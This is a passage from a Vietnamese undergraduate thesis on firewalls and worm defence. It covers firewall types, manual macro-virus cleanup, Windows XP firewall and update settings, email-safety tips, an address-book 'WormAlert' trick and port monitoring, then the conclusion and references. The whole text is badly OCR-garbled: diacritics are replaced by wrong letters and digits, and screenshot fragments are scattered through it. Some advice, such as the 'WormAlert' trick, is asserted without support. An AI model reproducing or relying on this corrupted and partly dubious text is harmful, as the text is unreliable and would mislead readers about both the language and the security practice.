duoc sir dung trong cac goi tin. Thay vao d6, chiing 1am viéc bang cach ap dung
mot tp cac quy tac dugc duy tri dbi véi thong tin vé TCP/IP. Vi loai firewall
nay khong kiém tra dit liéu tAng tmg dung cua goi tin va khong theo ddi trang
thai két ndi nén giai phap nay 1a kém an toan nhat trong cac cong nghé firewall.
N6 cho phép truy cap théng qua firewall véi s6 luong kiém tra rat nho. Tat
nhién, vi n6 xu ly it hon so véi ky thuat firewall khac nén no6 la cong nghé
firewall nhanh nhét hién c6 va thudng dugc thuc hién trong cac giai phap phan
ctng, chang han nhu cac bo dinh tuyén IP.

Cac firewall loc géi thudng thay dia chi cho cic goi tin dé ludng thong
tin di ra ¢6 dia chi ngué)n khac vé1 dia chi cia may tram ndi bd. Qua trinh ghi
dia chi méi cho cac goi tin duge goi la chuyén dich dia chi mang (Nework
Address Translation - NAT). Su chuyén dich ndy s& che gidu cac dia chi bén
trong mang can bao vé
3.1.2.2. Firewall mitc két néi (Circuit Level Firewall)

Firewall mirc két ndi xac nhan tinh hop 18 ciia mot goi tin 13 yéu cau két
nbi hay goi tin dit liéu thudc vé mot két ndi (hodc mot két ndi 40) giita hai tang
giao van tuong duong.

bé phé chuan mot phién lam viéc, firewall mirc két ndi kiém tra viéc thiét

1ap két ndi dé dam bao rang két ndi nay tao ra mot thu tuc bat tay hop 1é cho
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giao thtc tang giao van dang dugc st dung (thuong 1a TCP). Ngoai ra cac goi
tin dir li¢u s€ khong duoc giri cho dén khi thu tuc bét tay dugc hoan thanh. Loai
firewall nay duy tri mot bang thong tin ctia cac két ndi hop 1é (bao gom trang
thai cua phién lam viéc ddy du va thong tin vé tha tu goi tin) va cho phép céc
g61 tin chtra dir li€u di qua khi thong tin ctia goi tin ndy phu hop vdi mdt muc
trong bang két nbi 40. Mdi 1an mot két ndi két thic thi muc chua thong tin vé
két ndi nay trong bang két ndi 4o s& bi x6a va két ndi 4o giita hai tng giao van
tuong duong cling bi dong.

Khi mét két ndi duogc thiét 1ap, firewall muc két ndi thuong luu giit cac
thong tin vé két ndi sau :

e Nhan dang phién lam viéc duy nhét ddi véi két ndi nay, n6 duogc
st dung cho cac myc dich theo doi, giam sat.

e Trang thai ctia két n6i : Pang bat tay, da thiét 1ap hay két thuc.

e Thong tin thir ty cac gobi tin.

e Dia chi IP nguén.

¢ Dia chi IP dich.

e Giao tiép vat Iy ma goi tin dén tir do.

e Giao tiép vat Iy ma goi tin s& qua d6 dé di ra.

St dung cac thong tin ndy, firewall mic két ndi kiém tra thong tin trong
phan tiéu dé cua mdi goi tin dé xac dinh xem liéu mdy tinh truyén c6 dugc phép
gui dir liéu toi may tinh nhan hay khong va may tinh nhan c6 quyén nhan dit
li¢u d6 hay khong.

Cac firewall muc két ndi cho phép truy nhép qua firewall véi mot luong
kiém tra t6i thiéu bang cach xay dung mot s6 kiéu trang thai két n6i nhat dinh.
Chi nhimg g6i tin thudc vé mot két ndi di co trong bang méi duoc di qua
firewall. Khi nhan duoc mot goi tin thiét 1ap két ndi, firewall murc két ndi kiém
tra cac co s luat ciia né dé xac dinh xem két ndi d6 c6 dugc phép hay khong.

Néu két ndi nay 1a duoc phép, tat ca cac goi tin két hop véi két ndi nay duoc
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dinh tuyén thong qua firewall nhu da dugc xac dinh trong bang dinh tuyén cia
firewall ma khong can thém céc bién phap kiém tra an ninh khac.

Céc firewall muc két ndi c6 thé thuc hién mot sé bién phap kiém tra thém
dé dam bao rang géi tin khong bi gia mao va dit liéu chuta trong tiéu dé cua giao
thirc tAng giao van tuan theo dinh nghia cia giao thirc d6. Nho d6, cac firewall
nay c6 thé phat hién ra mot sb kiéu dir liéu cua goi tin da bi sira doi.

Cac firewall mirc két ndi thuong dé dia chi méi cho cac géi tin 16p mang
dé ludng thong tin di ra s& c6 dia chi ngudn 1a firewall ma khong mang dia chi
ciia mOt may tram ndi bg. Qua trinh nay duogc goi la chuyén dich dia chi, va bai
vi céc firewall mirc két ndi duy tri thong tin vé ting phién lam viéc nén chung
c6 thé chuyén tra lai cac goi tin dap Ung tir mang ngodi téi may tram nodi bo
tuong g mot cach chinh xac.
3.1.2.3. Firewall murc rng dung (Application Level Firewall)

Firewall mrc tng dung kiém tra tinh hop 18 ctia cac géi dir liéu tai tang
tmg dung trude khi cho phép thuc hién mot két ndi. N6 kiém tra tat ca cac goi
tin tai tang tng dung va duy tri thong tin vé trang thai két nbi day du, thong tin
vé thir tu. Ngoai ra, mot firewall mirc ing dung con co thé phé chuin cac muc
bao vé an ninh khac ma né chi xuét hién trong dir liéu tang tng dung, chang han
nhu mat khau ngudi ding va cac yéu cau dich vu.

Hau hét cac firewall mirc tng dung c6 phan mém tmg dung chuyén dung
va cac dich vu uy quyén. Céac dich vu uy quyén 13 cac chuong trinh c6 muc dich
riéng quan 1y luéng thong tin di qua mot firewall ddi voi mot dich vu cu thé,
chang han nhu : HTTP hoic RTP. Céc dich vu iy quyén 1a riéng biét d6i véi
giao thirc ma ching duoc thiét ké dé gtri chuyén tiép, va ching co thé cung cép
cac diéu khién truy nhap thém, cung cip cac kha niang kiém tra chi tiét ki ludng
d6i voi cac dir liéu hop 18, tao ra cac hd so thong ké vé luong thong tin ma
chung da chuyén.

Mdi mot proxy (ly quyén) tmg dung yéu cau hai thanh phan : Proxy

server va proxy client. Mdi proxy server hoat dong nhu mot server dau cudi cho
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tat ca cac yéu cau két ndi xuit phat tor mot client thyc trong mang noi bo. biéu
d6 co nghia la : Tat ca cac trao d6i thong tin gitta nhimg nguoi ding cia mang
ndi bd va mang ngoai déu phai di qua proxy server ma khong cho phép nhing
nguodi dung nay trao doi thong tin truc tiép voi cac server khac bén ngoai mang.
Mot ngudi ding ndi bd giri mot yéu cau téi proxy server dé két ndi t6i mot dich
vu bén ngoai, chéng han nhu : FTP hodc Telnet. Proxy server s¢ kiém tra cac
yéu cau nay va dua ra quyét dinh chip nhan hodc tir chdi yéu cau dya trén mot
bd quy tic dugc st dung cho timg dich vu mang. Cac proxy server hiéu giao
thirc ciia dich vu ma chiing dang kiém tra, vi vay chung chi cho phép cac géi tin
tuan theo cac dinh nghia giao thirc nay di qua. Ching cling cho phép dua thém
mot s6 tién ich nhu : Ghi lai thong ké chi tiét vé thong tin phién 1am viéc, xac
thuc nguoi dung va cac luu trir tam thoi trén proxy.

Mot proxy client 1a mot phan ctmg cta ung dung nguoi ding ma né trao
doi vé6i server thuc hién trén mang ngoai nhan danh céc client thuc. khi mot
client yéu cau mot dich vu, proxy server kiém tra yéu cau d6 dya trén cac quy
dinh trong chinh sach dinh nghia cho proxy d6 va xac dinh xem c6 chap thuan
hay khong. Néu n6 chap thuin yéu ciu nay, proxy server sé giri yéu cau nay toi
proxy client. Sau do, proxy client s€ nhan danh client nay lién hé v&i server
thie va tién hanh chuyén tiép cac yéu cau tir proxy server téi server thuc va
chuyén tiép cac dap tmg tir server thuc vé proxy server.

Mot dich vu iy quyén dit mot cach trong sudt gitta ngudi dung trong
mang ndi bd va mot dich vu thyuc trén mang ngoai. D6 1a vi nguoi dung van xir
1y nhu chinh dich vu thuc xu. o) phia dich vu thuc, no ciing van xir Iy nhu truc
tiép voi mot ngudi dung trén proxy server (thay cho mdy tram that ctia ngudi
dung nay).

Céc dich vy uy quyén duoc thuc hién trén tr:ing cao nhit cua mo hinh OSI
va chi hoat dong trong khong gian tmg dung ctia hé diéu hanh. Boi vy, mdi goi
tin phai di qua cac giao thirc muirc dudi trong nhan trude khi di dén khong gian

tmg dung dé cac proxy kiém tra k¥ ludng phan tiéu dé va dir liéu goi tin. Sau
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d6, cac goi tin nay phai di nguoc tro lai dén nhan va dugc giri di. Boi vi mdi goi
tin trong mot phién 1am viéc déu phai trai qua tién trinh nay nén cac dich vu uy
quyén c6 toc do rat cham.

3.2. Mt s6 bién phap, thii thuat phong chong :

3.2.1. Bién phdp phong chong virus macro

Macro virus ¢ thé vo cung nguy hiém khi pha hoai nhung c6 thé phong
chdng né twong dbi d& dang. Puong nhién, néu c6 nhimg chwong trinh di méi
va manh thi chi can thi hanh cac chuong trinh nay dé phong chdng virus 1a du
(trtr khi virus macro 13 rdt méi so véi chuong trinh kiém tra va diét virus). Véi
nhitng truong hop khong c¢6 nhitng chuong trinh kiém tra va diét virus du moi
va manh thi c6 thé thuc hién mot sd budc ban dau nhu sau khi nghi ngd may
tinh bi nhiém virus macro :

1. Tat toan bo cac ung dung Office nhu Microsoft Word, Excel, Power
Point.

2. Vao Folders Program Files\Microsoft Office\Templates hodc Folder
Templates trong Folder chira b chuong trinh Office. Tim trong Folder nay tép
Normal.Dot. X06a tép nay.

3. Néu trén may tinh c6 céc tép template khac (phan mé rong 1a DOT),
bi nhiém virus macro thi ciling phai x6a céc tép template nay.

Cac budc trén nham han ché virus lay lan tir cic tép dinh dang
(templates) sang cac tép tai liu sach s€ hodc tép mdi dugc tao ra.

Ciing can cha y 1a cac budce 1, 2 va 3 dugc thuc hién néu trong cac tép
template khong chta nhimg dinh dang quan trong, anh hudng t&i nhiéu tai liéu
khac trén may tinh.

Céc budc tiép theo dy 12 nham khdng ché virus khong 13y lan tir cac tép
tai liéu da bi nhidém ma van c6 thé 1am viéc tam thoi véi cac tai liéu nay o ché

do Read — Only.
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1. M6 ung dung ctia Microsoft Office, chon menu Tools, trong menu nay
chon Option... Trong ctra s6 Option chon General, danh dau ¢ hop Macro virus
protection.

2. Sau khi dit Macro virus protection nhu trén moi khi mé tép tai lidu co
chtra macro (lanh hodc virus) s& xudt hién cau hoi

Néu chon Disable Macros thi s& mé tai liéu & dang Read — Only. Néu
chon Enable Macros thi cac macros s€ duoc kich hoat.

3. Méc du chon Disable Macros thi tai liéu chi dugc m¢ & dang Read —
Only nhung macro virus khong dugc kich hoat va co thé vao xem virus duoc :

e Chon menu Tools -> Macro -> Visual Basic Editor ;

e Trong ctra s6 Microsoft Visual Basic [ This Document] nay chon
hop Project -> [ Tén Document] -> Microsoft Word Object -> Tén Macro.

. Chuyén sang 0 cua s6 soan théo doan ma nguén cua Macro, x0a
toan bd doan ma nguén. Ghi tai liéu duoi dang Save As.

e Quay lai x0a tai liéu cii (van con chira Macro).
3.2.2. Cdch bao vé may tinh

Viéc cap nhat mot s6 g61 phén mém nhét dinh c6 thé cai thién tinh bao mat
dudi day 1a 3 bude c6 thé thyc hién dé cai thién tinh bao mat cho may tinh.

Budce 1 : Dung mt chwong trinh Twdng lira Internet

Mot chuong trinh tuong lira Internet c6 thé gitip bao vé may tinh khong
bi ngudi ngoai trén Internet xAm nhap. Néu dung Microsoft Windows® XP,
chling ra nén bat tinh ning tudng lira c6 san.

1. Kiém tra xem dang dung Windows XP hay khong bang cach bam vao
nat Start, sau d6 bam Run ; gd winver trong hop thoai Run. Bam OK.

2. Bam vao nat Start, sau d6 chon Control Panel.

3. Bam Network and Internet Connections, sau d6 chon Network
Connections.

Meo vit : Néu khong tim thdy muc Network and Internet Connections,

hay bam vao Switch to Category View ¢ phia trén bén trai man hinh caa ban.
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4. Dudi muc Dial — Up hoic LAN or High Speed Internet, bdm vao
biéu tuong két ndi ban mudn béao vé.

5. Trong thanh tac vu bén trai, phia dudi Network Tasks, chon Change
settings of thi connection (hodc bim chudt phai vao két ndi ban mudn bao vé
va chon Properties).

6. Trén Advanced tab, trong Internet Connection Firewall, danh diu
chon 6 Protect my computer and network by limiting or preventing access
to this computer from the Internet

7. Néu c6 nhiéu két nbi Internet, chang han nhu mot két néi bang thong
rong va mot két ndi quay s6, hiy lap lai cac bude tir 5 — 7 cho mdi két ndi.

E

Lizl-Uw Soprizeiion Mrooariss __j‘_j1

General | Authentication | Advanced

|nternet Connection Firewall

Pratect my computer and netwaork, by limiting or preventing
access bo thiz computer from the [nternet

Learn mare about Internet Connection Firewal;.

k. ] [ Cancel
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Budc 2 : Cap nhat may tinh

Hé diéu hanh Windowns XP c6 tinh ning Automatic Updates voi kha ning tu
dong tai vé cac cap nhat bdo mat moi khi may tinh cua ban bat va két ndi vao
Internet. Dé khai thac tdi da loi ich ctia Automatic Updates, hiy chay Windows
Updates va quét may tinh trudc tién.

1. BAm vao nuat Start, chon All Programs, sau d6 bim Windows
Update.

2. Lam theo cic huéng dan trén man hinh ciia Windows Updates s& quét
may tinh va dua ra mot danh sach cac cap nhat thiét yéu nhat.

Meo vit : Dé giam s 1an tai cap nhat, hay chay Windows Update khi
khong dung may vao cac tac vu khac. Thoi gian tai cdp nhat sé khac nhau tuy
thudc vao thoi gian bao 1au ké tir 1an cudi cap nhat, s6 lugng va kich ¢& cac file
dang tai vé, va tbc do modem cua cac modem téc d6 cham co thé khién viée tai
vé tir Windows Update tat ca cac cap nhat dugc khuyén cdo trong lan dau tién
mat nhiéu gio.

3. Cai céac ban cap nhat

Thu thuat : Mot s6 ban cap nhat yéu cau phai cai dit ban cap nhat khac
trude do va khoi dong lai may tinh. Quay lai Windows Update sau khi khéi
dong lai may dé kiém tra xem mdy c6 can tai thém ban cép nhat nao nira khong.

4. Sau khi Windows XP ctia ban d3 dugc cdp nhat, hiy thiét 1ap mot lich
kiém tra thudng xuyén cho Automatic Updates.

1. BAm vao nut Start, sau d6 chon Control Panel.

2. Bam vao Performance and Maintenance.

3. Bam vao System dé mé hop thoai System Properties.

4. Trén Automatic Updates, danh dau chon 6 Keep my computer
up to date.

5. Chon mdt ché d6. Microsoft khuyén cdo chon 6 Automatically

download the updates, and install them on the schedule that I specify.
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Neéu chon h¢ tuy chon ty dong tai vé va cai dat cac ban cap nhat,

ban s& phai chon ngay va thoi gian dé may tinh ban cai cac ban cdp nhat di tai

N
A2

vé. Vi tuy chon nay, cac ban cdp nhat duoc tai vé & ché dd nén khi may tinh
ctia ban két ndi vao Internet.

Thua thuat: Nhé chon ngay va thoi gian khi may tinh ctuia ban co
hoat dong. Chuing t6i khuyén cao ban cdp nhat hang ngay. Ludn ghi lai cac thay
do6i trude khi roi khoi may tinh béi co mot sd ban cdp nhat can phai phai khai
dong lai sau khi cai dat.

System Properties @

General Computer Mame | Hardware Advanced
System Restore Automatic Updates Remote

Windows can find the updates you need and deliver them
drectly to your computer.

Keep my computer up to date. With this setting enabled, Windows
Update softwate may be automatically updated prior to apphing
any other updates.

Leam more about automatic updating
Settings
O Notify me before downloading any updates and notify me agan
~ before instaling them on my computer

'@ Download the updates automatically and notéfy me when they are
ready to be instaled

/= Butomatically download the updates, and install them on the |
ischedule that | specify g

Every day v | at | 300AM v

Leatn more abowt scheduled installing

[ ok ][ cConcel |[ ooy |

Néu ban thdy mot qua bong théng bao nhu trong hinh duéi day nghia 1a
da co céac cap nhat maoi can cai dat. BAm chuét vao qua béng thong bao dé xem

danh sach cac cap nhat da tai vé va cai.

jr‘l Mew updates are ready to install

Ipdates for vour computer have been downloaded From
Windows Update, Click here to review these updates and
install thermn,
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Buwéc 3: Sir dung Phin mém Phong chong virus cip nhat

M6t phan mém phong chdng virus gitp bao vé mdy tinh cia ban khoi su
tdn cong cua hau hét cac loai virus, sdu may tinh Trojan horse va cac doan ma
nguy hiém khac. Cac may tinh méi phan 16n déu duoc cai sin chuong trinh
phong chdng virus. Tuy nhién, phan mém phong chéng virus thudng yéu cau
dang ky str dung dai han dé c6 thé cap nhat dinh nghia virus. Néu ban khong ¢
dang ky st dung dai han, may tinh cta ban c6 nhiéu nguy co bi anh huéng
trudc cac loai virus va sau moi

Kiém tra xem ban d4 kich hoat chwong trinh phong chdng virus hay chua
trudc khi dung e-mail hoac Internet. (virus thuong duoc phat tan qua e-mail va
cac file chay).

3.2.3. Muoi bién phdp bdo vé may tinh khi dung e-mail va Internet

E-mail va Internet hién nay duoc dung nhu mét phuong tién chinh trong
viéc lan truyén virus. Muoi bién phap dudi day s& gitp bao vé duoc may tinh:

1. Khong mo bat ky file dinh kém dugc giri tir mot dia chi e-mail ma
khong biét & hodc khong tin tudng.

2. Khong mo bat ky e-mail ndo ma cam thiy nghi ngd, tham chi ca khi
e-mail nay dugc gui tir ban bé hodc khach hang. Hau hét virus dugc lan truyén
qua dudng e-mail. Do véy, néu khong chic chin vé mot e-mail nao thi hay tim
cach xac nhan lai tir phia nguoi gui.

3. Khong mé céc file dinh kém cac e-mail c6 tiéu dé hap dan hoic thu
hut. Vi du nhu: “ Look, my beautiful girl friend”, “Congratulations”, “SOS” ...

Néu mudn mé cac file dinh kém nay, hay luu ching vao dia mém hay
mot thu muc trén dia cimg va dung chuong trinh diét virus duoc cap nhat dé
kiém tra.

4. Khoéng mo céc file dinh kém theo cac e-mail c6 tén file lién quan dén
sex hay cac ngoi sao nhu “PORNO.EXE”, “PAMELA NUDE.VBS”, “Britney
Spears.scr” ... Pay 1a cac tha doan dung dé danh hra nguoi dung cia nhiing ké

viét virus.
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5. X06a cac e-mail khdng rd ngudn gdc hoic khong mong mudn. Ping
forward e-mail ndy cho bat ky ai hodc reply lai cho nguoi giri. Nhimg e-mail
nay thuong 13 cac spam e-mail. Muyc dich ctia cac spam e-mail chi dé 1am nghén
duong truyén Internet.

6. Khong copy vao dia ctng bat ky file nao khong biét rd hodc khong tin
tudng vé ngudn goc xuat phat ctia nd.

7. Hay can than khi tai cac file tir Internet vé dia cimg ctia may tinh.
Dung mét chuong trinh diét virus duoc cdp nhat thudng xuyén dé kiém tra cac
file nay. Néu nghi ngo vé mot file chuong trinh hodc mot e-mail thi dimg bao
gid mo ra hodc tai vé mdy tinh cia minh. Cach t6t nhat trong truong hop nay 13
x6a chiing hoic khong tai vé may tinh.

8. Dung mdt chuong trinh di€t virus tin cay va dugc cap nhat thuong
xuyén nhu Norton Antivirus, AcAffee, Trend Micro...Dung céc chuong trinh
diét virus c6 thé chay thuong chu trong toan bo nhé dé ching c6 thé giam sat
thuong xuyén cac hoat dong trén may tinh.

9. Néu may tinh co cai chwong trinh diét virus, hdy cap nhat ching
thuong xuyén. Trung binh mdi thang c6 t&i 500 virus méi duoc phat hién. Viéc
cap nhat thudng xuyén nay gitip cho may tinh trd nén mién nhiém trudc céc loai
virus moi.

10. Thyc hién viéc sao luu cac dit liéu quan trong thudng xuyén. Néu
chang may virus x6a tat ca cac dit liéu trén may tinh thi vin con c6 kha ning
phuc héi cac dir lidu quan trong nay. Cac ban sao luu ndy nén dugc cit giir tai
mot vi tri riéng biét hoac cat gilt trén may tinh khac.

3.2.4. Thii thudt givp tranh Gy virus qua ngd email khi mdy 16 bi nhiém virus

Nhu d3 biét, nhimg con sau bo virus (Worm) mét khi dd nhiém vao may,
nd s€ ngang nhién chui vao nhiing dia chi email trong address book, tu nhan
ban, roi theo nhitng canh thu bay vao may ctia ngudi khac. Hanh dong nay

mang tinh khiing b6 nhu thé ngudi ta giri bénh than trong bao thur vay. Meo sau
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day khéng gitp cho mdy tranh bi nhiém worm nhung né gitp ngin chin viéc sir
dung s6 dia chi email dé lay tiép.

Pau tién md Address book ra va click vao “new contact” nhu mubn thém
mot tén madi vao.

Trong ctra s6 thay vi danh tén cua ngudi st dung danh dong chit: 1000
(d4u cham than va 3 s6 0).

O cira s6 bén dudi noi ma thay vi gd email address, gb vao dong chit sau:
WormAlert.

Sau cung, hoan tat cong viéc bﬁng cach click add, enter, ok...

Giai thich: “Tén” 1000 s& duoc dat dau tién trong address book va nd
duoc danh s6 1. Pay sé& 1a “nguoi” ma con Worm bat dau lay. Nhung nguoi ndy
lai c6 dia chi email 1a “WormAlert”, khong dung quy cach khong sao g dugc.
Va nhu vay n6 khong giri cho ngudi tiép theo trong address book.

Thém vao d6 néu nhan dugc mot mail noi réng “email addressed to
WormAlert could not be delivered”, ta biét ngay 1a worm dang nam ngay trong
may.

3.3. Sir dung firewall dé ngin chin sy bung no ciia siu may tinh

Y twong nham phat hién c6 kha ning tan coéng cia siu may tinh. Nhu
ching ta da phan tich mot s6 loai sdu & chuong 2 thuong thi sdu c6 mot s6 dic
diém chung nhu: Tu dong lay nhiém ma khong can su tic dong ctia con nguoi,
dung céc 15 hong bao mat, 15 hong hé diéu hanh dé tan cong, ching thuong tim
muc tiéu trén mot céng cu thé dé khai thac va tim cach thuc hién nhirng thu
doan dinh san.

Vi dac tinh sau luén tim mot céng cu thé dé khai thac dan dén y tudng
can tao ra mot chuong trinh nham muc dich tinh tan suit st dung ctia mot )
cong hodc mot dai cac cong tiy theo yéu cau.

Ta str dung pfirewall.log trong windows dé lam thong tin dau vao cho bai
toan. Bai toan viét dudi dang thuong tri né s& cap nhat thong tin mot cach

thuong xuyén lién tyc cac post trén mang vao may. Tinh tan suat post 1én mdi
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cong ma ta can kiém soat ddy 14 mot y tuong nho trong mot hé thong tuong lira
dé co6 thé ngan chin sy bung nd 14y lan cua sau may tinh.

Hi¢n tai cac chuong trinh diét virus, ca chuong trinh di¢t spyware ... y
tuong dya trén mau, chuong trinh s& kiém tra theo cic mau da biét cap nhat lién
tuc cac mau méi. Sau d6 dua ra giai phap nham ngan chin sy lay lan cta sau
may tinh trén mang.

Tuy nhién sau lay lan rit nhanh, khong kip c6 mau dé phan tich, va ngay
ca khi c6 miu ciing chua chic da phén tich duoc ngay.

Chinh vi vdy doi hoi chung ta phai kiém soat qua trinh hoat dong cua
minh trén mang khi c6 mot su c6 bat thuong (hoat dong bat thuong) xay ra
chung ta phai tim cach ngin chin viéc bung nd su 1ay lan. C6 thé c6 nhiéu cach
nhung chung quy thi c6 mdt s6 thao tac co ban nhu sau:

e Quan ly céc tién trinh hoat dong trén h¢ diéu hanh, nhan biét cac
tién trinh la dang chay. Pong cac tién trinh nay.

e Hé thong tudng lira duoc quan 1y tap trung.

e Hé giam sat hoat dong mang cu thé giam sat cac cong (port).

e Cap nhat thuong xuyén cac ban (chuong trinh) va 15i cua hé dicu

hanh, cling nhu cac phién ban ma1 nhat cua cac chuong trinh diét virus, worm

KET LUAN
Nghién ctru vé cach thirc tin cong trén mang ndi chung, sy hoat dong
clia sdu may tinh (worm) néi riéng 1a mot yéu cau cap bach dbi voi sy an toan
trén mang Internet.
Sau mot thoi gian tim hiéu, nghién ctru khai ni¢ém sau, cach thirc hoat

dong cua sau, mot sO giai phap phong chong su 1ay lan cua séu trén mang may
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tinh em d3 hoan thanh khoa luin véi dé tai: “ Kién tric mang Internet, sy lay
lan cia worm va cach phong chong”

Khoa ludn da dap ung duoc muc ti€u dat ra va dat dugc nhiing két qua
chinh sau:

— Nghién ctru so bo vé kién triic mang Internet.

— Nghién ctru duoc cach thirc hoat dong ctia sdu may tinh (worm) qua cac
thé hé.

— Pi sau tim hiéu mot sb k¥ thuat viét m3 virusmacro, ky thuat 1ay lan, pha
hoai cua sau.

— Tim hiéu céac giai phap phong chdng su 13y lan ctia worm.
Hwéng phat trién cia dé tai

Trong thoi gian t&i em s& thuc hién thém céac chiic nang con thiéu sot cla
de tai:

Tim hiéu sdu hon nita cac k¥ thuat méi ma cac loai siu thé hé tha tu
dung dé lay lan véi tbc do cuc nhanh.

Hoan thién hé théng kiém soat cong trong hé théng tudng lira.

Tim hiéu Hé Théng IDS ( Intrusion Detection Systems) - hé théng phéat
hién sy xadm nhap trai phép Mang may tinh dung riéng.Cung voi firewall va
phuong thirc phong chdng virus may tinh, hé thong nay s& tao thanh mét to hop
rat ¢6 hiéu qua trong viéc bao vé Mang may tinh dung riéng.

Do thyc hién dé tai trong mot khoang thoi gian ngin va cong thém su
thiéu kinh nghiém ciing nhu sy han ché vé kién thuc, nén dé tai ctia em chac
chin con c6 nhiéu thiéu sot. Em rat mong nhan dugc su chi bao cua théy cO va
gop ¥ clia cac ban dé dé tai ciia em ngay cang hoan thién hon va c6 thé dua vao
st dung trong thuc té.

Pé thuc hién dugc dé tai nay em xin chan thanh cam on céc thay c6 gido
trong khoa Cong Ngh¢ Thong Tin truong DPai hoc Dan Lap Hai Phong, dac biét
em xin chan thanh cam on sy giGp d& nhiét tinh cua thay: TS. H6 Van Canh da

tryc tiép hudng din em hoan thanh dé tai.
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CAC TAI LIEU THAM KHAO
Tai liéu:
1. Virus tin hoc huyén thoai va thuc té, Ng6 Anh Vi, nxb Gido duc 2000
2. Mang may tinh
Mot sb website:
http://www.microsoft.com/vietnam/security/virus/w32blaster.aspx
http://www.ddth.com/archive/index.php/t-42288.html
http://vnbrain.info/archive/index.php?f-35.html
http://www.itgatevn.com/?u=nws&su=d&cid=38&id=7138
http://forum.infoworldschool.com/7492.htm
http://www.microsoft.com/vietnam/security/protect/protect.aspx
http://www.phphuoc.com/data.vir/loveletter.htm

http://www.hvaonline.net
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